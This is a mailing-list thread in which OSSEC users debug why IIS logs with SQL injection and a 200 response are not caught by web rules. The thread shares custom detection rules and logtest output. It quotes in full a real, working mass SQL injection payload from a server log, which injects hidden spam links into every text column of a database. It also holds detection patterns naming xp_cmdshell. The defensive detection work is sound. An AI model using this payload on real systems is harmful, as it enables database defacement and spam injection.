Just a quick note, according the OSSEC docs, rules with Classification of 00 are scanned before all others to avoid false positives. http://ossec-docs.readthedocs.org/en/latest/manual/rules-decoders/rule-levels.html
I believe the http ignored urls rule (<rule id="31108" level="0">) was getting precedence over all other related rules. By setting rule id 31108 to level "2" my test injection logtest triggered on rule 31106 (A web attack returned code 200 (success)), which would be a correct categorization. I went ahead and put the change in place so I'll have to see if I start seeing more alerts on the IIS logs. James Whittington -----Original Message----- From: [email protected] [mailto:[email protected]] On Behalf Of dan (ddp) Sent: Wednesday, December 24, 2014 12:23 To: [email protected] Subject: Re: [ossec-list] Re: anyone know the status of the issue where IIS logs are not able to trigger on web_rules.xml On Wed, Dec 24, 2014 at 10:59 AM, James Whittington <[email protected]> wrote: >>>>Take your log, and change the IIS response from 200 to 404 and you >>>>get a positive result on a SQL injection attack. >> >>>>Add this to your local_rules.xml >>>> <rule id="100169" level="10"> >>>> <if_sid>31108</if_sid> >>>> >>>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >>>> <match>union+|where+|null,null|xp_cmdshell</match> >>>> <description>fix IIS matching SQL attacks</description> >>>> </rule> >>>> It'll work around the issue and start matching the sql injection >>>> attacks... >> >> Yep that works, thanks! >>>> Could you submit this to github as an issue with the repeatable >>>> log data? That'd probably work better on getting a >> resolution >>>> in the next release for this issue.... >> Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8 >> logs not triggering on Injection Attack Web Rule if response code >> matches ^2 or ^3" > > "If the rule above works, isnt' that the solution?" > Creating a rule on my local rules to catch a SQL injection attack that > returns a success code is a solution/workaround for me and who ever read the > post. > We created the issue on Github in hopes that the workaround can make it into > the core web_rules so it becomes a solution for all users who assume OSSEC is > watching over patterns of suspicious activity on their websites. > And I think that's great. If it gets some more testing, and people seem happy with it we'll get it in there. > In what order are rules evaluated? Within a Group are rules evaluated by rule > number or position with the file ??? > I think it's order in the file, but I'm not positive. I do tests every once in a while to try and understand it, then forget my results shortly after. > With the web rules there are multiple rules that trigger on web-log rule > id="31100". > In this case: > - Both rules 31108 (Ignored URLs) and 31103 (SQL Injection Attack) look for > web-log rule id="31100". > - rule id="31108" (Ignored URLs (simple queries)) triggers first even though > I would guess the lower rule number 31103 would be evaluated first. > - in my web_rules.xml file Rule 31108 is listed before Rule 31103 so > logically the positioning of the rules seems out of order (thus my > questioning how rules were evaluated > > > James Whittington > > > -----Original Message----- > From: [email protected] [mailto:[email protected]] > On Behalf Of dan (ddp) > Sent: Wednesday, December 24, 2014 10:17 > To: [email protected] > Subject: Re: [ossec-list] Re: anyone know the status of the issue > where IIS logs are not able to trigger on web_rules.xml > > On Wed, Dec 24, 2014 at 10:12 AM, James Whittington > <[email protected]> wrote: >> >> >>>>Interesting. >> >>>>So, if the IIS response starts with a 2 or 3 (200 in your case), it >>>>likely passes the test and is ignored. There are some rules that >>>>are designed to trap the 200 OK attacks. >> >>>>But those aren't triggering either.. >> >> >> >>>>Take your log, and change the IIS response from 200 to 404 and you >>>>get a positive result on a SQL injection attack. >> >>>>Add this to your local_rules.xml >> >> >> >>>> <rule id="100169" level="10"> >>>> <if_sid>31108</if_sid> >>>> >>>> <match>=selec%20|select+|insert%20|%20from%20|%20where%20|union%20|</match> >>>> <match>union+|where+|null,null|xp_cmdshell</match> >>>> <description>fix IIS matching SQL attacks</description> >>>> </rule> >> >> >> >>>> It'll work around the issue and start matching the sql injection >>>> attacks... >> >> Yep that works, thanks! >> >> >> >>>> Could you submit this to github as an issue with the repeatable >>>> log data? That'd probably work better on getting a >> resolution >>>> in the next release for this issue.... >> >> >> >> Created issue https://github.com/ossec/ossec-hids/issues/472 "IIS 7/8 >> logs not triggering on Injection Attack Web Rule if response code >> matches ^2 or ^3" >> >> >> >> Hopefully it's a simple fix and not too far reaching into the core >> logic of how alerts are decoded.. >> >> > > If the rule above works, isnt' that the solution? > >> >> >> >> >> >> On Tuesday, December 23, 2014 2:24:39 PM UTC-8, James Whittington wrote: >> >> >> >>>>What does ossec-logtest respond with on the sample below? >> >> >> >>>>2014-12-12 21:00:55 W3SVC1 IIS8-5Server 1.2.3.4 GET /cmd.exe - 443 - >>>> 2.3.4.5 HTTP/1.1 >>>> >>>>Mozilla/5.0+(Windows+NT+6.1;+WOW64;+Trident/7.0;+rv:11.0)+like+Gecko >>>>- - IIS8-5Server 404 0 2 1477 256 0 >> >> >> >> Docodes as a common web attack: >> >> **Phase 2: Completed decoding. >> >> decoder: 'windows-date-format' >> >> url: '/cmd.exe -' >> >> srcip: '2.3.4.5' >> >> id: '404' >> >> >> >> **Phase 3: Completed filtering (rules). >> >> Rule id: '31104' >> >> Level: '6' >> >> Description: 'Common web attack.' >> >> **Alert to be generated. >> >> >> >> >> >>>>Can you provide a sample of the log with the SQL injection that >>>>isn't picked up by web rules? Also, could you provide the relevant >>>>>>portion of a URL you use to test a SQL injection attack? I'll >>>>>>try >>>>it on my systems and perhaps we can compare the logs to figure out >>where >>>>the issue is. >> >> >> >> Here is an example of a recent injection attack on a IIS 7 website, >> we are seeing reflections of the attacks as we send error stack >> traces to a central system endpoint and another hardware based IDS is >> picking up the activity as one webserver attacking another webserver. >> >> It's really long but here it is :<).. >> >> >> >> 2014-12-20 21:34:37 W3SVC58 XXX-XXWEB-01 1.2.3.4 GET >> /search/programdetails.aspx >> id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);s >> e >> t%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20s >> e >> t%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS( >> C >> HECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20s >> t >> yle=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescriptio >> n >> %20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPL >> A >> CE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeroni >> m >> o.com@template''%20when%201%20then%20''www.tula-point.ru@template''%2 >> 0 >> else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2 >> B >> char(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''on >> l >> ine''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pi >> l >> l''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a' >> '%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2 >> B >> char(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sy >> s >> indexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.i >> d >> %20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME >> % >> 20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varcha >> r >> '%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2 >> 1 >> 47483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FE >> T >> CH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@ >> d >> ;end;close%20@c-- >> 80 - 173.201.216.6 HTTP/1.1 >> Mozilla/5.0+(Windows+NT+6.1;+WOW64;+rv:24.0)+Gecko/20100101+Firefox/2 >> 4 >> .0');declare+@c+cursor;declare+@d+varchar(4000);set+@c=cursor+for+sel >> e >> ct+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+COLUMN_NAME+']+c >> ct+a >> se+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+''div+style="di >> se+s >> play:none"''+char(62)+''abortion+pill+prescription+''+char(60)+''a+hr >> e >> f="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM(NewId()))%3+wh >> e >> n+0+then+''www.yeronimo.com@template''+when+1+then+''www.tula-point.r >> n+0+then+u >> @template''+else+''blog.tchami.com@template''+end,''@'',char(47))+''"' >> '+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+''online''+when+ >> 1 >> +then+''i+need+to+buy+the+abortion+pill''+else+''abortion+pill''+end+ >> +then++ >> char(60)+char(47)+''a''+char(62)+''+where+to+buy+abortion+pill''+char >> ( >> 60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM+sysindexes+AS+ >> i >> +INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+INFORMATION_SCHEM >> +INNER+JOIN+sysobjects+AS+o+ON+A >> .COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1)+and+DATA_TYPE >> + >> like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHARACTER_MAXIMUM_ >> like+L >> ENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;while+@@FETCH_ST >> A >> TUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;close+@c-- >> - >> http://google.com');declare+@c+cursor;declare+@d+varchar(4000);set+@c >> = >> cursor+for+select+'update+['+TABLE_NAME+']+set+['+COLUMN_NAME+']=['+C >> cursor+for+select+O >> LUMN_NAME+']+case+ABS(CHECKSUM(NewId()))%7+when+0+then+''''+char(60)+' >> 'div+style="display:none"''+char(62)+''abortion+pill+prescription+''+ >> c >> har(60)+''a+href="http:''+char(47)+char(47)+REPLACE(case+ABS(CHECKSUM >> ( >> NewId()))%3+when+0+then+''www.yeronimo.com@template''+when+1+then+''w >> w >> w.tula-point.ru@template''+else+''blog.tchami.com@template''+end,''@'' >> ,char(47))+''"''+char(62)+case+ABS(CHECKSUM(NewId()))%3+when+0+then+'' >> online''+when+1+then+''i+need+to+buy+the+abortion+pill''+else+''abort >> i >> on+pill''+end++char(60)+char(47)+''a''+char(62)+''+where+to+buy+abort >> on+i >> on+pill''+char(60)+char(47)+''div''+char(62)+''''+else+''''+end'+FROM >> on++ >> sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+i.id=o.id+INNER+JOIN+IN >> sysindexes+AS+i+INNER+JOIN+sysobjects+AS+o+ON+F >> ORMATION_SCHEMA.COLUMNS+ON+o.NAME=TABLE_NAME+WHERE(indid=0+or+indid=1 >> ) >> +and+DATA_TYPE+like+'%varchar'+and(CHARACTER_MAXIMUM_LENGTH=-1+or+CHA >> +and+R >> ACTER_MAXIMUM_LENGTH=2147483647);open+@c;fetch+next+from+@c+into+@d;w >> h >> ile+@@FETCH_STATUS=0+begin+exec+(@d);fetch+next+from+@c+into+@d;end;c >> ile+l >> ose+@c-- www.somesite.org 200 0 0 36560 3942 78 >> >> >> >> >> >> Get decoded as: >> >> **Phase 2: Completed decoding. >> >> decoder: 'windows-date-format' >> >> url: '/search/programdetails.aspx >> id=3542&print=');declare%20@c%20cursor;declare%20@d%20varchar(4000);set%20@c=cursor%20for%20select%20'update%20%5B'%2BTABLE_NAME%2B'%5D%20set%20%5B'%2BCOLUMN_NAME%2B'%5D=%5B'%2BCOLUMN_NAME%2B'%5D%2Bcase%20ABS(CHECKSUM(NewId()))%257%20when%200%20then%20''''%2Bchar(60)%2B''div%20style=%22display:none%22''%2Bchar(62)%2B''abortion%20pill%20prescription%20''%2Bchar(60)%2B''a%20href=%22http:''%2Bchar(47)%2Bchar(47)%2BREPLACE(case%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''www.yeronimo.com@template''%20when%201%20then%20''www.tula-point.ru@template''%20else%20''blog.tchami.com@template''%20end,''@'',char(47))%2B''%22''%2Bchar(62)%2Bcase%20ABS(CHECKSUM(NewId()))%253%20when%200%20then%20''online''%20when%201%20then%20''i%20need%20to%20buy%20the%20abortion%20pill''%20else%20''abortion%20pill''%20end%20%2Bchar(60)%2Bchar(47)%2B''a''%2Bchar(62)%2B''%20where%20to%20buy%20abortion%20pill''%2Bchar(60)%2Bchar(47)%2B''div''%2Bchar(62)%2B''''%20else%20''''%20end'%20FROM%20sysindexes%20AS%20i%20INNER%20JOIN%20sysobjects%20AS%20o%20ON%20i.id=o.id%20INNER%20JOIN%20INFORMATION_SCHEMA.COLUMNS%20ON%20o.NAME=TABLE_NAME%20WHERE(indid=0%20or%20indid=1)%20and%20DATA_TYPE%20like%20'%25varchar'%20and(CHARACTER_MAXIMUM_LENGTH=-1%20or%20CHARACTER_MAXIMUM_LENGTH=2147483647);open%20@c;fetch%20next%20from%20@c%20into%20@d;while%20@@FETCH_STATUS=0%20begin%20exec%20(@d);fetch%20next%20from%20@c%20into%20@d;end;close%20@c--' >> >> srcip: '173.201.216.6' >> >> id: '200' >> >> >> >> **Phase 3: Completed filtering (rules). >> >> Rule id: '31108' >> >> Level: '0' >> >> Description: 'Ignored URLs (simple queries).' >> >> >> >> The URL is decoding but should be triggering on this rule? >> >> >> >> <rule id="31103" level="6"> >> >> <if_sid>31100</if_sid> >> >> >> <url>=select%20|select+|insert%20|%20from%20|%20where%20|union%20|</u >> r >> l> >> >> <url>union+|where+|null,null|xp_cmdshell</url> >> >> <description>SQL injection attempt.</description> >> >> <group>attack,sql_injection,</group> >> >> </rule> >> >> >> On Monday, December 22, 2014 11:40:30 AM UTC-8, James Whittington wrote: >> >>>> I've tested on IIS 7.5 and IIS 8.5, and both systems work >>>> flawlessly for the built-in decoders in OSSEC. I even tested with >>>> Nexpose and they both work. >> >>>Can you please post a log sample that you know decodes properly and >>>for which the rules hit as they should? It would be nice to get to >>>the bottom of >>> >this. >> >> I haven't seen a log sample of IIS 7.5 and IIS 8.5 "flawlessly" >> decoding and triggering on default web rules so I was hoping someone >> would step up and show a decoded IIS log triggering on a web rule. >> >> From what I can tell on a logtest only the parent decoder displays so >> I think it would be tricky to know for sure which decoder was used last. >> >> I checked log samples from IIS 7, IIS 8, ISS 8 in the azure cloud and >> they all extract URL at least, but none seem to trigger on a simple >> SQL injection rule I had been previously advised that the >> documentation says all log fields must be checked (Yep did that a >> couple of years ago but I double checked anyway). >> I have also heard to just use something else to analyze IIS log >> events (and this is likely the best path for me at this point). >> >> I like the flexibility OSSEC gives me but I am pretty darn sure IIS >> logs will not trigger on web rules which is a shame. >> >> I guess I must be in the minority with using OSSEC to monitor IIS >> logs, or something in my setup is wrong, or folks just assume OSSEC >> is helping them watch IIS logs. >> >> I am just putting this topic back out there in case anything new had >> happened with it. >> >> James Whittington >> >> >> >> -----Original Message----- >> From: [email protected] [mailto:[email protected]] On >> Behalf Of Michael Starks >> Sent: Saturday, December 13, 2014 11:50 >> To: [email protected] >> Subject: Re: [ossec-list] Re: anyone know the status of the issue >> where IIS logs are not able to trigger on web_rules.xml >> >> On 12/12/2014 06:02 PM, Brent Morris wrote: >>> It should be noted that the decoders seem fine for me (and I suspect >>> everyone else). I think that github issue is bogus. >> >> I think it is correct, but of course I could have made a mistake. >> >>> Follow what I posted above... basically, IIS Manager > Default Web >>> Site >>>> Logging > Log File Format: W3C - select fields. *Check all the >>>> boxes >>> that are not checked*!!!!! I think there were 4 that weren't checked. >>> >>> Edit your OSSEC config on that box... >>> >>> <localfile> >>> <location>C:\inetpub\logs\LogFiles\W3SVC1\u_ex%y%m%d.log</location> >>> <log_format>iis</log_format> >>> </localfile> >>> >>> I've tested on IIS 7.5 and IIS 8.5, and both systems work flawlessly >>> for the built-in decoders in OSSEC. I even tested with Nexpose and >>> they both work. >> >> Can you please post a log sample that you know decodes properly and >> for which the rules hit as they should? It would be nice to get to >> the bottom of this. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, >> send an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, >> send an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, >> send an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. >> >> -- >> >> --- >> You received this message because you are subscribed to the Google >> Groups "ossec-list" group. >> To unsubscribe from this group and stop receiving emails from it, >> send an email to [email protected]. >> For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google Groups > "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to [email protected]. > For more options, visit https://groups.google.com/d/optout. > > -- > > --- > You received this message because you are subscribed to the Google Groups > "ossec-list" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to [email protected]. > For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/d/optout. -- --- You received this message because you are subscribed to the Google Groups "ossec-list" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/d/optout.
